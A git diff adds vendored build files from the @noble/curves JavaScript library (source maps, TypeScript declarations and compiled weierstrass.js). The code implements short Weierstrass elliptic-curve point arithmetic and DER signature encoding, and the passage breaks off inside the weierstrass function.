b/node_modules/@noble/curves/abstract/utils.js.map @@ -0,0 +1 @@ +{"version":3,"file":"utils.js","sourceRoot":"","sources":["../src/abstract/utils.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,0EAA0E;AAC1E,8DAA8D;AAC9D,+EAA+E;AAC/E,uCAAuC;AACvC,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACtB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACtB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACtB,MAAM,GAAG,GAAG,CAAC,CAAM,EAAmB,EAAE,CAAC,CAAC,YAAY,UAAU,CAAC;AAWjE,MAAM,KAAK,GAAG,eAAe,CAAC,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,GAAG,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CACjE,CAAC,CAAC,QAAQ,CAAC,EAA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AAa,CAAC;QAAE,UAAU,CAAC,SAAS,EAAE,IAAK,EAAE,IAAI,CAAC,CAAC;IAClG,OAAO,MAAM,CAAC;AAChB,CAAC;AArBD,wCAqBC;AACD,sBAAsB;AACtB,uEAAuE;AACvE,gFAAgF;AAChF,4BAA4B;AAC5B,2DAA2D;AAC3D,qEAAqE;AACrE,+DAA+D;AAC/D,4DAA4D"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/weierstrass.d.ts b/node_modules/@noble/curves/abstract/weierstrass.d.ts new file mode 100644 index 000000000000..9de89e22c0ef --- /dev/null +++ b/node_modules/@noble/curves/abstract/weierstrass.d.ts @@ -0,0 +1,241 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import * as mod from './modular.js'; +import * as ut from './utils.js'; +import { CHash, Hex, PrivKey } from './utils.js'; +import { Group, GroupConstructor, BasicCurve, AffinePoint } from './curve.js'; +export type { AffinePoint }; +type HmacFnSync = (key: Uint8Array, ...messages: Uint8Array[]) => Uint8Array; +type EndomorphismOpts = { + beta: bigint; + splitScalar: (k: bigint) => { + k1neg: boolean; + k1: bigint; + k2neg: boolean; + k2: bigint; + }; +}; +export type BasicWCurve = BasicCurve & { + a: T; + b: T; + allowedPrivateKeyLengths?: readonly number[]; + wrapPrivateKey?: boolean; + endo?: EndomorphismOpts; + isTorsionFree?: (c: ProjConstructor, point: ProjPointType) => boolean; + clearCofactor?: (c: ProjConstructor, point: ProjPointType) => ProjPointType; +}; +type Entropy = Hex | true; +export type SignOpts = { + lowS?: boolean; + extraEntropy?: Entropy; + prehash?: boolean; +}; +export type VerOpts = { + lowS?: boolean; + prehash?: boolean; +}; +/** + * ### Design rationale for types + * + * * Interaction between classes from different curves should fail: + * `k256.Point.BASE.add(p256.Point.BASE)` + * * For this purpose we want to use `instanceof` operator, which is fast and works during runtime + * * Different calls of `curve()` would return different classes - + * `curve(params) !== curve(params)`: if somebody decided to monkey-patch their curve, + * it won't affect others + * + * TypeScript can't infer types for classes created inside a function. Classes is one instance of nominative types in TypeScript and interfaces only check for shape, so it's hard to create unique type for every function call. + * + * We can use generic types via some param, like curve opts, but that would: + * 1. Enable interaction between `curve(params)` and `curve(params)` (curves of same params) + * which is hard to debug. + * 2. Params can be generic and we can't enforce them to be constant value: + * if somebody creates curve from non-constant params, + * it would be allowed to interact with other curves with non-constant params + * + * TODO: https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-7.html#unique-symbol + */ +export interface ProjPointType extends Group> { + readonly px: T; + readonly py: T; + readonly pz: T; + get x(): T; + get y(): T; + multiply(scalar: bigint): ProjPointType; + toAffine(iz?: T): AffinePoint; + isTorsionFree(): boolean; + clearCofactor(): ProjPointType; + assertValidity(): void; + hasEvenY(): boolean; + toRawBytes(isCompressed?: boolean): Uint8Array; + toHex(isCompressed?: boolean): string; + multiplyUnsafe(scalar: bigint): ProjPointType; + multiplyAndAddUnsafe(Q: ProjPointType, a: bigint, b: bigint): ProjPointType | undefined; + _setWindowSize(windowSize: number): void; +} +export interface ProjConstructor extends GroupConstructor> { + new (x: T, y: T, z: T): ProjPointType; + fromAffine(p: AffinePoint): ProjPointType; + fromHex(hex: Hex): ProjPointType; + fromPrivateKey(privateKey: PrivKey): ProjPointType; + normalizeZ(points: ProjPointType[]): ProjPointType[]; +} +export type CurvePointsType = BasicWCurve & { + fromBytes?: (bytes: Uint8Array) => AffinePoint; + toBytes?: (c: ProjConstructor, point: ProjPointType, isCompressed: boolean) => Uint8Array; +}; +export type CurvePointsRes = { + ProjectivePoint: ProjConstructor; + normPrivateKeyToScalar: (key: PrivKey) => bigint; + weierstrassEquation: (x: T) => T; + isWithinCurveOrder: (num: bigint) => boolean; +}; +export declare const DER: { + Err: { + new (m?: string): { + name: string; + message: string; + stack?: string | undefined; + }; + }; + _parseInt(data: Uint8Array): { + d: bigint; + l: Uint8Array; + }; + toSig(hex: string | Uint8Array): { + r: bigint; + s: bigint; + }; + hexFromSig(sig: { + r: bigint; + s: bigint; + }): string; +}; +export declare function weierstrassPoints(opts: CurvePointsType): { + CURVE: Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: mod.IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: T; + readonly Gy: T; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: T; + readonly b: T; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: EndomorphismOpts | undefined; + readonly isTorsionFree?: ((c: ProjConstructor, point: ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: ProjConstructor, point: ProjPointType) => ProjPointType) | undefined; + readonly fromBytes?: ((bytes: Uint8Array) => AffinePoint) | undefined; + readonly toBytes?: ((c: ProjConstructor, point: ProjPointType, isCompressed: boolean) => Uint8Array) | undefined; + readonly p: bigint; + }>; + ProjectivePoint: ProjConstructor; + normPrivateKeyToScalar: (key: PrivKey) => bigint; + weierstrassEquation: (x: T) => T; + isWithinCurveOrder: (num: bigint) => boolean; +}; +export interface SignatureType { + readonly r: bigint; + readonly s: bigint; + readonly recovery?: number; + assertValidity(): void; + addRecoveryBit(recovery: number): RecoveredSignatureType; + hasHighS(): boolean; + normalizeS(): SignatureType; + recoverPublicKey(msgHash: Hex): ProjPointType; + toCompactRawBytes(): Uint8Array; + toCompactHex(): string; + toDERRawBytes(isCompressed?: boolean): Uint8Array; + toDERHex(isCompressed?: boolean): string; +} +export type RecoveredSignatureType = SignatureType & { + readonly recovery: number; +}; +export type SignatureConstructor = { + new (r: bigint, s: bigint): SignatureType; + fromCompact(hex: Hex): SignatureType; + fromDER(hex: Hex): SignatureType; +}; +type SignatureLike = { + r: bigint; + s: bigint; +}; +export type PubKey = Hex | ProjPointType; +export type CurveType = BasicWCurve & { + hash: CHash; + hmac: HmacFnSync; + randomBytes: (bytesLength?: number) => Uint8Array; + lowS?: boolean; + bits2int?: (bytes: Uint8Array) => bigint; + bits2int_modN?: (bytes: Uint8Array) => bigint; +}; +declare function validateOpts(curve: CurveType): Readonly<{ + readonly nBitLength: number; + readonly nByteLength: number; + readonly Fp: mod.IField; + readonly n: bigint; + readonly h: bigint; + readonly hEff?: bigint | undefined; + readonly Gx: bigint; + readonly Gy: bigint; + readonly allowInfinityPoint?: boolean | undefined; + readonly a: bigint; + readonly b: bigint; + readonly allowedPrivateKeyLengths?: readonly number[] | undefined; + readonly wrapPrivateKey?: boolean | undefined; + readonly endo?: EndomorphismOpts | undefined; + readonly isTorsionFree?: ((c: ProjConstructor, point: ProjPointType) => boolean) | undefined; + readonly clearCofactor?: ((c: ProjConstructor, point: ProjPointType) => ProjPointType) | undefined; + readonly hash: ut.CHash; + readonly hmac: HmacFnSync; + readonly randomBytes: (bytesLength?: number | undefined) => Uint8Array; + lowS: boolean; + readonly bits2int?: ((bytes: Uint8Array) => bigint) | undefined; + readonly bits2int_modN?: ((bytes: Uint8Array) => bigint) | undefined; + readonly p: bigint; +}>; +export type CurveFn = { + CURVE: ReturnType; + getPublicKey: (privateKey: PrivKey, isCompressed?: boolean) => Uint8Array; + getSharedSecret: (privateA: PrivKey, publicB: Hex, isCompressed?: boolean) => Uint8Array; + sign: (msgHash: Hex, privKey: PrivKey, opts?: SignOpts) => RecoveredSignatureType; + verify: (signature: Hex | SignatureLike, msgHash: Hex, publicKey: Hex, opts?: VerOpts) => boolean; + ProjectivePoint: ProjConstructor; + Signature: SignatureConstructor; + utils: { + normPrivateKeyToScalar: (key: PrivKey) => bigint; + isValidPrivateKey(privateKey: PrivKey): boolean; + randomPrivateKey: () => Uint8Array; + precompute: (windowSize?: number, point?: ProjPointType) => ProjPointType; + }; +}; +export declare function weierstrass(curveDef: CurveType): CurveFn; +/** + * Implementation of the Shallue and van de Woestijne method for any weierstrass curve. + * TODO: check if there is a way to merge this with uvRatio in Edwards; move to modular. + * b = True and y = sqrt(u / v) if (u / v) is square in F, and + * b = False and y = sqrt(Z * (u / v)) otherwise. + * @param Fp + * @param Z + * @returns + */ +export declare function SWUFpSqrtRatio(Fp: mod.IField, Z: T): (u: T, v: T) => { + isValid: boolean; + value: T; +}; +/** + * Simplified Shallue-van de Woestijne-Ulas Method + * https://www.rfc-editor.org/rfc/rfc9380#section-6.6.2 + */ +export declare function mapToCurveSimpleSWU(Fp: mod.IField, opts: { + A: T; + B: T; + Z: T; +}): (u: T) => { + x: T; + y: T; +}; +//# sourceMappingURL=weierstrass.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/weierstrass.d.ts.map b/node_modules/@noble/curves/abstract/weierstrass.d.ts.map new file mode 100644 index 000000000000..3d15e495510c --- /dev/null +++ b/node_modules/@noble/curves/abstract/weierstrass.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"weierstrass.d.ts","sourceRoot":"","sources":["../src/abstract/weierstrass.ts"],"names":[],"mappings":"AAAA,sEAAsE;AAEtE,OAAO,KAAK,GAAG,MAAM,cAAc,CAAC;AACpC,OAAO,KAAK,EAAE,MAAM,YAAY,CAAC;AACjC,OAAO,EAAE,KAAK,EAAE,GAAG,EAAE,OAAO,EAAe,MAAM,YAAY,CAAC;AAC9D,OAAO,EAAE,KAAK,EAAE,gBAAgB,EAAQ,UAAU,EAAiB,WAAW,EAAE,MAAM,YAAY,CAAC;AAEnG,YAAY,EAAE,WAAW,EAAE,CAAC;AAC5B,KAAK,UAAU,GAAG,CAAC,GAAG,EAAE,UAAU,EAAE,GAAG,QAAQ,EAAE,UAAU,EAAE,KAAK,UAAU,CAAC;AAC7E,KAAK,gBAAgB,GAAG;IACtB,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,EAAE,CAAC,CAAC,EAAE,MAAM,KAAK;QAAE,KAAK,EAAE,OAAO,CAAC;QAAC,EAAE,EAAE,MAAM,CAAC;QAAC,KAAK,EAAE,OAAO,CAAC;QAAC,EAAE,EAAE,MAAM,CAAA;KAAE,CAAC;CACxF,CAAC;AACF,MAAM,MAAM,WAAW,CAAC,CAAC,IAAI,UAAU,CAAC,CAAC,CAAC,GAAG;I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AAG;IAAE,OAAO,EAAE,OAAO,CAAC;IAAC,KAAK,EAAE,CAAC,CAAA;CAAE,CAmD7D;AACD;;;GAGG;AACH,wBAAgB,mBAAmB,CAAC,CAAC,EACnC,EAAE,EAAE,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC,EACjB,IAAI,EAAE;IACJ,CAAC,EAAE,CAAC,CAAC;IACL,CAAC,EAAE,CAAC,CAAC;IACL,CAAC,EAAE,CAAC,CAAC;CACN,OASU,CAAC;OAAQ,CAAC;OAAK,CAAC;EA8B5B"} \ No newline at end of file diff --git a/node_modules/@noble/curves/abstract/weierstrass.js b/node_modules/@noble/curves/abstract/weierstrass.js new file mode 100644 index 000000000000..b07585b535c5 --- /dev/null +++ b/node_modules/@noble/curves/abstract/weierstrass.js @@ -0,0 +1,1063 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.mapToCurveSimpleSWU = exports.SWUFpSqrtRatio = exports.weierstrass = exports.weierstrassPoints = exports.DER = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Short Weierstrass curve. The formula is: y² = x³ + ax + b +const mod = require("./modular.js"); +const ut = require("./utils.js"); +const utils_js_1 = require("./utils.js"); +const curve_js_1 = require("./curve.js"); +function validatePointOpts(curve) { + const opts = (0, curve_js_1.validateBasic)(curve); + ut.validateObject(opts, { + a: 'field', + b: 'field', + }, { + allowedPrivateKeyLengths: 'array', + wrapPrivateKey: 'boolean', + isTorsionFree: 'function', + clearCofactor: 'function', + allowInfinityPoint: 'boolean', + fromBytes: 'function', + toBytes: 'function', + }); + const { endo, Fp, a } = opts; + if (endo) { + if (!Fp.eql(a, Fp.ZERO)) { + throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0'); + } + if (typeof endo !== 'object' || + typeof endo.beta !== 'bigint' || + typeof endo.splitScalar !== 'function') { + throw new Error('Expected endomorphism with beta: bigint and splitScalar: function'); + } + } + return Object.freeze({ ...opts }); +} +// ASN.1 DER encoding utilities +const { bytesToNumberBE: b2n, hexToBytes: h2b } = ut; +exports.DER = { + // asn.1 DER encoding utils + Err: class DERErr extends Error { + constructor(m = '') { + super(m); + } + }, + _parseInt(data) { + const { Err: E } = exports.DER; + if (data.length < 2 || data[0] !== 0x02) + throw new E('Invalid signature integer tag'); + const len = data[1]; + const res = data.subarray(2, len + 2); + if (!len || res.length !== len) + throw new E('Invalid signature integer: wrong length'); + // https://crypto.stackexchange.com/a/57734 Leftmost bit of first byte is 'negative' flag, + // since we always use positive integers here. It must always be empty: + // - add zero byte if exists + // - if next byte doesn't have a flag, leading zero is not allowed (minimal encoding) + if (res[0] & 0b10000000) + throw new E('Invalid signature integer: negative'); + if (res[0] === 0x00 && !(res[1] & 0b10000000)) + throw new E('Invalid signature integer: unnecessary leading zero'); + return { d: b2n(res), l: data.subarray(len + 2) }; // d is data, l is left + }, + toSig(hex) { + // parse DER signature + const { Err: E } = exports.DER; + const data = typeof hex === 'string' ? h2b(hex) : hex; + if (!(data instanceof Uint8Array)) + throw new Error('ui8a expected'); + let l = data.length; + if (l < 2 || data[0] != 0x30) + throw new E('Invalid signature tag'); + if (data[1] !== l - 2) + throw new E('Invalid signature: incorrect length'); + const { d: r, l: sBytes } = exports.DER._parseInt(data.subarray(2)); + const { d: s, l: rBytesLeft } = exports.DER._parseInt(sBytes); + if (rBytesLeft.length) + throw new E('Invalid signature: left bytes after parsing'); + return { r, s }; + }, + hexFromSig(sig) { + // Add leading zero if first byte has negative bit enabled. More details in '_parseInt' + const slice = (s) => (Number.parseInt(s[0], 16) & 0b1000 ? '00' + s : s); + const h = (num) => { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; + }; + const s = slice(h(sig.s)); + const r = slice(h(sig.r)); + const shl = s.length / 2; + const rhl = r.length / 2; + const sl = h(shl); + const rl = h(rhl); + return `30${h(rhl + shl + 4)}02${rl}${r}02${sl}${s}`; + }, +}; +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4); +function weierstrassPoints(opts) { + const CURVE = validatePointOpts(opts); + const { Fp } = CURVE; // All curves has same field / group length as for now, but they can differ + const toBytes = CURVE.toBytes || + ((_c, point, _isCompressed) => { + const a = point.toAffine(); + return ut.concatBytes(Uint8Array.from([0x04]), Fp.toBytes(a.x), Fp.toBytes(a.y)); + }); + const fromBytes = CURVE.fromBytes || + ((bytes) => { + // const head = bytes[0]; + const tail = bytes.subarray(1); + // if (head !== 0x04) throw new Error('Only non-compressed encoding is supported'); + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + }); + /** + * y² = x³ + ax + b: Short weierstrass curve formula + * @returns y² + */ + function weierstrassEquation(x) { + const { a, b } = CURVE; + const x2 = Fp.sqr(x); // x * x + const x3 = Fp.mul(x2, x); // x2 * x + return Fp.add(Fp.add(x3, Fp.mul(x, a)), b); // x3 + a * x + b + } + // Validate whether the passed curve params are valid. + // We check if curve equation works for generator point. + // `assertValidity()` won't work: `isTorsionFree()` is not available at this point in bls12-381. + // ProjectivePoint class has not been initialized yet. + if (!Fp.eql(Fp.sqr(CURVE.Gy), weierstrassEquation(CURVE.Gx))) + throw new Error('bad generator point: equation left != right'); + // Valid group elements reside in range 1..n-1 + function isWithinCurveOrder(num) { + return typeof num === 'bigint' && _0n < num && num < CURVE.n; + } + function assertGE(num) { + if (!isWithinCurveOrder(num)) + throw new Error('Expected valid bigint: 0 < bigint < curve.n'); + } + // Validates if priv key is valid and converts it to bigint. + // Supports options allowedPrivateKeyLengths and wrapPrivateKey. + function normPrivateKeyToScalar(key) { + const { allowedPrivateKeyLengths: lengths, nByteLength, wrapPrivateKey, n } = CURVE; + if (lengths && typeof key !== 'bigint') { + if (key instanceof Uint8Array) + key = ut.bytesToHex(key); + // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes + if (typeof key !== 'string' || !lengths.includes(key.length)) + throw new Error('Invalid key'); + key = key.padStart(nByteLength * 2, '0'); + } + let num; + try { + num = + typeof key === 'bigint' + ? key + : ut.bytesToNumberBE((0, utils_js_1.ensureBytes)('private key', key, nByteLength)); + } + catch (error) { + throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`); + } + if (wrapPrivateKey) + num = mod.mod(num, n); // disabled by default, enabled for BLS + assertGE(num); // num in range [1..N-1] + return num; + } + const pointPrecomputes = new Map(); + function assertPrjPoint(other) { + if (!(other instanceof Point)) + throw new Error('ProjectivePoint expected'); + } + /** + * Projective Point works in 3d / projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z) + * Default Point works in 2d / affine coordinates: (x, y) + * We're doing calculations in projective, because its operations don't require costly inversion. + */ + class Point { + constructor(px, py, pz) { + this.px = px; + this.py = py; + this.pz = pz; + if (px == null || !Fp.isValid(px)) + throw new Error('x required'); + if (py == null || !Fp.isValid(py)) + throw new Error('y required'); + if (pz == null || !Fp.isValid(pz)) + throw new Error('z required'); + } + // Does not validate if the point is on-curve. + // Use fromHex instead, or call assertValidity() later. + static fromAffine(p) { + const { x, y } = p || {}; + if (!p || !Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('invalid affine point'); + if (p instanceof Point) + throw new Error('projective point not allowed'); + const is0 = (i) => Fp.eql(i, Fp.ZERO); + // fromAffine(x:0, y:0) would produce (x:0, y:0, z:1), but we need (x:0, y:1, z:0) + if (is0(x) && is0(y)) + return Point.ZERO; + return new Point(x, y, Fp.ONE); + } + get x() { + return this.toAffine().x; + } + get y() { + return this.toAffine().y; + } + /** + * Takes a bunch of Projective Points but executes only one + * inversion on all of them. Inversion is very slow operation, + * so this improves performance massively. + * Optimization: converts a list of projective points to a list of identical points with Z=1. + */ + static normalizeZ(points) { + const toInv = Fp.invertBatch(points.map((p) => p.pz)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + /** + * Converts hash string or Uint8Array to Point. + * @param hex short/long ECDSA hex + */ + static fromHex(hex) { + const P = Point.fromAffine(fromBytes((0, utils_js_1.ensureBytes)('pointHex', hex))); + P.assertValidity(); + return P; + } + // Multiplies generator point by privateKey. + static fromPrivateKey(privateKey) { + return Point.BASE.multiply(normPrivateKeyToScalar(privateKey)); + } + // "Private method", don't use it directly + _setWindowSize(windowSize) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + // A point on curve is valid if it conforms to equation. + assertValidity() { + if (this.is0()) { + // (0, 1, 0) aka ZERO is invalid in most contexts. + // In BLS, ZERO can be serialized, so we allow it. + // (0, 0, 0) is wrong representation of ZERO and is always invalid. + if (CURVE.allowInfinityPoint && !Fp.is0(this.py)) + return; + throw new Error('bad point: ZERO'); + } + // Some 3rd-party test vectors require different wording between here & `fromCompressedHex` + const { x, y } = this.toAffine(); + // Check if x, y are valid field elements + if (!Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('bad point: x or y not FE'); + const left = Fp.sqr(y); // y² + const right = weierstrassEquation(x); // x³ + ax + b + if (!Fp.eql(left, right)) + throw new Error('bad point: equation left != right'); + if (!this.isTorsionFree()) + throw new Error('bad point: not in prime-order subgroup'); + } + hasEvenY() { + const { y } = this.toAffine(); + if (Fp.isOdd) + return !Fp.isOdd(y); + throw new Error("Field doesn't support isOdd"); + } + /** + * Compare one point to another. + */ + equals(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1)); + const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1)); + return U1 && U2; + } + /** + * Flips point to one corresponding to (x, -y) in Affine coordinates. + */ + negate() { + return new Point(this.px, Fp.neg(this.py), this.pz); + } + // Renes-Costello-Batina exception-free doubling formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 3 + // Cost: 8M + 3S + 3*a + 2*b3 + 15add. + double() { + const { a, b } = CURVE; + const b3 = Fp.mul(b, _3n); + const { px: X1, py: Y1, pz: Z1 } = this; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + let t0 = Fp.mul(X1, X1); // step 1 + let t1 = Fp.mul(Y1, Y1); + let t2 = Fp.mul(Z1, Z1); + let t3 = Fp.mul(X1, Y1); + t3 = Fp.add(t3, t3); // step 5 + Z3 = Fp.mul(X1, Z1); + Z3 = Fp.add(Z3, Z3); + X3 = Fp.mul(a, Z3); + Y3 = Fp.mul(b3, t2); + Y3 = Fp.add(X3, Y3); // step 10 + X3 = Fp.sub(t1, Y3); + Y3 = Fp.add(t1, Y3); + Y3 = Fp.mul(X3, Y3); + X3 = Fp.mul(t3, X3); + Z3 = Fp.mul(b3, Z3); // step 15 + t2 = Fp.mul(a, t2); + t3 = Fp.sub(t0, t2); + t3 = Fp.mul(a, t3); + t3 = Fp.add(t3, Z3); + Z3 = Fp.add(t0, t0); // step 20 + t0 = Fp.add(Z3, t0); + t0 = Fp.add(t0, t2); + t0 = Fp.mul(t0, t3); + Y3 = Fp.add(Y3, t0); + t2 = Fp.mul(Y1, Z1); // step 25 + t2 = Fp.add(t2, t2); + t0 = Fp.mul(t2, t3); + X3 = Fp.sub(X3, t0); + Z3 = Fp.mul(t2, t1); + Z3 = Fp.add(Z3, Z3); // step 30 + Z3 = Fp.add(Z3, Z3); + return new Point(X3, Y3, Z3); + } + // Renes-Costello-Batina exception-free addition formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 1 + // Cost: 12M + 0S + 3*a + 3*b3 + 23add. + add(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + const a = CURVE.a; + const b3 = Fp.mul(CURVE.b, _3n); + let t0 = Fp.mul(X1, X2); // step 1 + let t1 = Fp.mul(Y1, Y2); + let t2 = Fp.mul(Z1, Z2); + let t3 = Fp.add(X1, Y1); + let t4 = Fp.add(X2, Y2); // step 5 + t3 = Fp.mul(t3, t4); + t4 = Fp.add(t0, t1); + t3 = Fp.sub(t3, t4); + t4 = Fp.add(X1, Z1); + let t5 = Fp.add(X2, Z2); // step 10 + t4 = Fp.mul(t4, t5); + t5 = Fp.add(t0, t2); + t4 = Fp.sub(t4, t5); + t5 = Fp.add(Y1, Z1); + X3 = Fp.add(Y2, Z2); // step 15 + t5 = Fp.mul(t5, X3); + X3 = Fp.add(t1, t2); + t5 = Fp.sub(t5, X3); + Z3 = Fp.mul(a, t4); + X3 = Fp.mul(b3, t2); // step 20 + Z3 = Fp.add(X3, Z3); + X3 = Fp.sub(t1, Z3); + Z3 = Fp.add(t1, Z3); + Y3 = Fp.mul(X3, Z3); + t1 = Fp.add(t0, t0); // step 25 + t1 = Fp.add(t1, t0); + t2 = Fp.mul(a, t2); + t4 = Fp.mul(b3, t4); + t1 = Fp.add(t1, t2); + t2 = Fp.sub(t0, t2); // step 30 + t2 = Fp.mul(a, t2); + t4 = Fp.add(t4, t2); + t0 = Fp.mul(t1, t4); + Y3 = Fp.add(Y3, t0); + t0 = Fp.mul(t5, t4); // step 35 + X3 = Fp.mul(t3, X3); + X3 = Fp.sub(X3, t0); + t0 = Fp.mul(t3, t1); + Z3 = Fp.mul(t5, Z3); + Z3 = Fp.add(Z3, t0); // step 40 + return new Point(X3, Y3, Z3); + } + subtract(other) { + return this.add(other.negate()); + } + is0() { + return this.equals(Point.ZERO); + } + wNAF(n) { + return wnaf.wNAFCached(this, pointPrecomputes, n, (comp) => { + const toInv = Fp.invertBatch(comp.map((p) => p.pz)); + return comp.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + }); + } + /** + * Non-constant-time multiplication. Uses double-and-add algorithm. + * It's faster, but should only be used when you don't care about + * an exposed private key e.g. sig verification, which works over *public* keys. + */ + multiplyUnsafe(n) { + const I = Point.ZERO; + if (n === _0n) + return I; + assertGE(n); // Will throw on 0 + if (n === _1n) + return this; + const { endo } = CURVE; + if (!endo) + return wnaf.unsafeLadder(this, n); + // Apply endomorphism + let { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let k1p = I; + let k2p = I; + let d = this; + while (k1 > _0n || k2 > _0n) { + if (k1 & _1n) + k1p = k1p.add(d); + if (k2 & _1n) + k2p = k2p.add(d); + d = d.double(); + k1 >>= _1n; + k2 >>= _1n; + } + if (k1neg) + k1p = k1p.negate(); + if (k2neg) + k2p = k2p.negate(); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + return k1p.add(k2p); + } + /** + * Constant time multiplication. + * Uses wNAF method. Windowed method may be 10% faster, + * but takes 2x longer to generate and consumes 2x memory. + * Uses precomputes when available. + * Uses endomorphism for Koblitz curves. + * @param scalar by which the point would be multiplied + * @returns New point + */ + multiply(scalar) { + assertGE(scalar); + let n = scalar; + let point, fake; // Fake point is used to const-time mult + const { endo } = CURVE; + if (endo) { + const { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let { p: k1p, f: f1p } = this.wNAF(k1); + let { p: k2p, f: f2p } = this.wNAF(k2); + k1p = wnaf.constTimeNegate(k1neg, k1p); + k2p = wnaf.constTimeNegate(k2neg, k2p); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + point = k1p.add(k2p); + fake = f1p.add(f2p); + } + else { + const { p, f } = this.wNAF(n); + point = p; + fake = f; + } + // Normalize `z` for both points, but return only real one + return Point.normalizeZ([point, fake])[0]; + } + /** + * Efficiently calculate `aP + bQ`. Unsafe, can expose private key, if used incorrectly. + * Not using Strauss-Shamir trick: precomputation tables are faster. + * The trick could be useful if both P and Q are not G (not in our case). + * @returns non-zero affine point + */ + multiplyAndAddUnsafe(Q, a, b) { + const G = Point.BASE; // No Strauss-Shamir trick: we have 10% faster G precomputes + const mul = (P, a // Select faster multiply() method + ) => (a === _0n || a === _1n || !P.equals(G) ? P.multiplyUnsafe(a) : P.multiply(a)); + const sum = mul(this, a).add(mul(Q, b)); + return sum.is0() ? undefined : sum; + } + // Converts Projective point to affine (x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + // (x, y, z) ∋ (x=x/z, y=y/z) + toAffine(iz) { + const { px: x, py: y, pz: z } = this; + const is0 = this.is0(); + // If invZ was 0, we return zero point. However we still want to execute + // all operations, so we replace invZ with a random number, 1. + if (iz == null) + iz = is0 ? Fp.ONE : Fp.inv(z); + const ax = Fp.mul(x, iz); + const ay = Fp.mul(y, iz); + const zz = Fp.mul(z, iz); + if (is0) + return { x: Fp.ZERO, y: Fp.ZERO }; + if (!Fp.eql(zz, Fp.ONE)) + throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + isTorsionFree() { + const { h: cofactor, isTorsionFree } = CURVE; + if (cofactor === _1n) + return true; // No subgroups, always torsion-free + if (isTorsionFree) + return isTorsionFree(Point, this); + throw new Error('isTorsionFree() has not been declared for the elliptic curve'); + } + clearCofactor() { + const { h: cofactor, clearCofactor } = CURVE; + if (cofactor === _1n) + return this; // Fast-path + if (clearCofactor) + return clearCofactor(Point, this); + return this.multiplyUnsafe(CURVE.h); + } + toRawBytes(isCompressed = true) { + this.assertValidity(); + return toBytes(Point, this, isCompressed); + } + toHex(isCompressed = true) { + return ut.bytesToHex(this.toRawBytes(isCompressed)); + } + } + Point.BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE); + Point.ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO); + const _bits = CURVE.nBitLength; + const wnaf = (0, curve_js_1.wNAF)(Point, CURVE.endo ? Math.ceil(_bits / 2) : _bits); + // Validate if generator point is on curve + return { + CURVE, + ProjectivePoint: Point, + normPrivateKeyToScalar, + weierstrassEquation, + isWithinCurveOrder, + }; +} +exports.weierstrassPoints = weierstrassPoints; +function validateOpts(curve) { + const opts = (0, curve_js_1.validateBasic)(curve); + ut.validateObject(opts, { + hash: 'hash', + hmac: 'function', + randomBytes: 'function', + }, { + bits2int: 'function', + bits2int_modN: 'function', + lowS: 'boolean', + }); + return Object.freeze({ lowS: true, ...opts }); +} +function weierstrass(curveDef) { + const CURVE = validateOpts(curveDef); + const { Fp, n: 